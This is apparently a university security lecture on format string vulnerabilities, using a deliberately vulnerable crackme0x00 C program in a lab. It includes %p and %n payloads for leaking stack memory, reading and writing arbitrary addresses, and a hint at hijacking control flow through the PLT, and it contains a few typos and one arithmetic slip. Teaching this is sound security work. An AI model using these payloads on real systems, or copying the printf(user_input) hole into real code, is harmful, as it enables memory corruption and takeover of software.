================================== Lec06: Fromat String Vulnerability ================================== 1. Revisiting an enhanced "crackme0x00" ======================================= We've eliminated the buffer overflow vulnerability in the crackme0x00 binary. Let's check out the new implementation! ------------------------------------------------------------ #include #include #include #include unsigned int secret = 0xdeadbeef; void handle_failure(char *buf) { char msg[100]; snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf); printf(msg); } int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); int tmp = secret; char buf[100]; printf("IOLI Crackme Level 0x00\n"); printf("Password:"); fgets(buf, sizeof(buf), stdin); if (!strcmp(buf, "250382\n")) { printf("Password OK :)\n"); } else { handle_failure(buf); } if (tmp != secret) { printf("The secrete is modified!\n"); } return 0; } ------------------------------------------------------------ $ make cc -m32 -g -O0 -Wno-format-security -o crackme0x00-ssp-exec crackme0x00.c /vagrant/bin/checksec.sh --file crackme0x00-ssp-exec RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH crackme0x00-ssp-exec As you can see, it is a fully protected binary. NOTE. These two lines are to make your life easier; it immediately flushes your input and output buffers. setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); It works as expected, but when we type an incorrect password, it produces an error message like this: $ ./crackme0x00-ssp-exec IOLI Crackme Level 0x00 Password:asdf Invalid Password! asdf Unfortunate, this program is using printf in a very insecure way. snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf); printf(msg); "msg" might contain your input (e.g., invalid password). In case it contains a special format specifier, like "%", printf interprets the specifier. Let's try typing "%p": %p: pointer %s: string %d: int %x: hex $ ./crackme0x00-ssp-exec IOLI Crackme Level 0x00 Password:%p Invalid Password! 0x64 Let's go crazy by putting more "%p" x 15 $ echo "1=%p|2=%p|3=%p|4=%p|5=%p|6=%p|7=%p|8=%p|9=%p|10=%p|11=%p|12=%p|13=%p|14=%p|15=%p" | ./crackme0x00-ssp-exec | grep 31 Password:Invalid Password! 1=0x64|2=0x80487b0|3=0xffffd658 ... IOLI Crackme Level 0x00 Password:Invalid Password! 1=0x64|2=0x80487b0|3=0xffffd658 ... In fact, this output string is your stack for the printf call: 1=0x64 2=0x80487b0 3=0xffffd658 4=0xf7fcaac0 5=0xf7ffd000 6=0xf7ffd938 7=0xffffd658 8=0xf7ffd000 ... 14=0x3d312021 15=0x327c7025 Since it's so tedious to keep putting '%p', printf-like functions provide a convenient way to point to the arguments: %[nth]$p (e.g., %1$p = first argument) Let's try: $ echo "%8\$p" | ./crackme0x00-ssp-exec IOLI Crackme Level 0x00 Password:Invalid Password! 0xf7ffd000 NOTE. '\$' is to avoid the interpretation (e.g., $PATH) by the shell. It matches with the 8th stack value listed above. 2. Format String Bug to an Arbitrary Read ========================================= Let's exploit this format string bug to write an arbitrary value to an arbitrary memory region. Have you noticed some interesting values in the stack? 8=0xf7ffd000 ... 14=0x3d312021 ..1= 15=0x327c7025 %p|2 It seems we can now infer what we put it onto the stack as an argument. What's going on? When you invoke a printf function, your arguments passed through the stack are placed like these: printf("%s", a1, a2 ...) [ra] [ ] --+ [a1] | [a2] | [%s] <-+ [..] In this simplest case, you can point to the "%s" (as value) with "%3$s"! Which means you can 'read' (e.g., 4 bytes) an arbitrary memory region like this: printf("\xaa\xaa\xaa\xaa%3$p", a1, a2 ...) [ra ] [ ] --+ [a1 ] | [a2 ] | [ptr] <-+ [.. ] It reads (%p) 4 bytes at 0xaaaaaaaa and prints out its value. > How could you read the 'secrete' value? 2. Format String Bug to an Arbitrary Write ========================================== In fact, printf is so complex that it can also support a write: allows us to write the total number of bytes printed. %n: write number of bytes printed (as an int) printf("asdf%n", &len); 'len' will contain 4 = strlen("asdf") as a result. Similar to the arbitrary read, you can also write to an arbitrary memory location like this: printf("\xaa\xaa\xaa\xaa%3$n", a1, a2 ...) [ra ] [ ] --+ [a1 ] | [a2 ] | [ptr] <-+ [.. ] *0xaaaaaaaa = 4 (i.e., \xaa x 4 are printed so far) Then, how to write an arbitrary value? We need another useful specifier of printf: %[len]d (e.g., %10d: print out 10 spacer) To write 10 to 0xaaaaaaaa, you can print 6 more characters like this: printf("\xaa\xaa\xaa\xaa%6d%3$n", a1, a2 ...) --- *0xaaaaaaaa = 0x00000010 > How could you write the 'secrete' value with 0xc0ffee? 1. You can either write four bytes at a time like this: 0xaaaaaaaa = 0x000000ee 0xaaaaaaab = 0x000000ff 0xaaaaaaac = 0x000000c0 2. Or, you can use these finer size specifier: Another nit trick is to specify the size parameter: %hn : write the number of printed bytes as a short %hhn: write the number of printed bytes as a byte 3. Arbitrary Execution ====================== If you feel adventurous, you can also control the execution of this binary. Hint: 1) overwrite secret to trigger the if statement, and printf's plt to hijack its control flow (e.g., printf("Password OK:)")).